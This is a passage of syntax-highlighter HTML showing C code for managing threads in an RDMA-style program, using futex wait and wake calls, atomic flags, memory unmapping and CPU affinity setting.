class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">thread_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">threads<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">threadNum<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-252\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">created<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-253\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">__atomic_store_n<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">call<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">call<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">__ATOMIC_RELEASE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-254\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">__atomic_fetch_add<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">running<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__ATOMIC_RELAXED<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-255\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">__atomic_store_n<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">running<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__ATOMIC_RELEASE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-256\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">syscall<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">SYS_futex<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">running<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">FUTEX_WAKE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-257\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-258\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-259\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-260\"><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">exitRdmaThreads<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-261\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-262\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">timespec <\/span><span class=\"crayon-v\">ts<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-263\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">thread_t<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-264\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">threads<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-265\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-266\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">ts<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">tv_sec<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-267\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">ts<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">tv_nsec<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">20<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1000<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-268\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">syscall<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">SYS_futex<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">running<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">FUTEX_WAIT<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">ts<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-269\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-270\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">for<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">i<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">i<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">RDMATHREADS<\/span><span class=\"crayon-sy\">;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">i<\/span><span class=\"crayon-o\">++<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-271\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-272\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">threads<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">i<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-273\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">created<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-274\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">created<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-275\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">__atomic_store_n<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">exitFlag<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__ATOMIC_RELEASE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-276\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">__atomic_fetch_add<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">running<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__ATOMIC_RELAXED<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-277\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">__atomic_store_n<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">running<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">__ATOMIC_RELEASE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-278\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-279\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">syscall<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">SYS_futex<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">running<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">FUTEX_WAKE<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-280\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">timespec <\/span><span class=\"crayon-v\">ts<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-281\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">ts<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">tv_sec<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-282\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">ts<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">tv_nsec<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">20<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1000<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-283\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">syscall<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">SYS_futex<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">th<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">running<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">FUTEX_WAIT<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">ts<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-284\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-285\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-286\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">munmap<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">threads<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">thread_t<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">RDMATHREADS<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-287\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-288\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">sendCount<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-289\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">syscall<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">SYS_futex<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ipcThreadStop<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">FUTEX_WAIT<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">NULL<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">NULL<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-290\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-291\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-292\"><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">setAffinity<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">arg<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-293\"><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-294\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">i<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-295\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">cpu_set_t <\/span><span class=\"crayon-v\">mask<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-296\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">cpu_set_t <\/span><span class=\"crayon-v\">get<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-297\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cpuId<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">msgInfo<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-v\">arg<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">CPUNumber<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-298\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-299\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">CPU_ZERO<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">mask<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-300\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">CPU_SET<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">cpuId<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">mask<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-301\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-302\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">pthread_setaffinity_np<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">pthread_self<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">mask<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">mask<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-303\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">fprintf<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">stderr<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;set thread affinity failedn&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-304\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-305\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-306\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">CPU_ZERO<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">get<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-307\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">pthread_getaffinity_np<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">pthread_self<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">sizeof<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">get<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><span class=\"crayon-v\">get<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-308\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">fprintf<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">stderr<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;get thread affinity failedn&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-309\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-310\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b6383596d206230643600-311\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b6383596d206230643600-312\"><span class=\"crayon-t\">void<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-e\">holeThread<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">struct<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">msgInfo<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-v\">msgInfo<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div 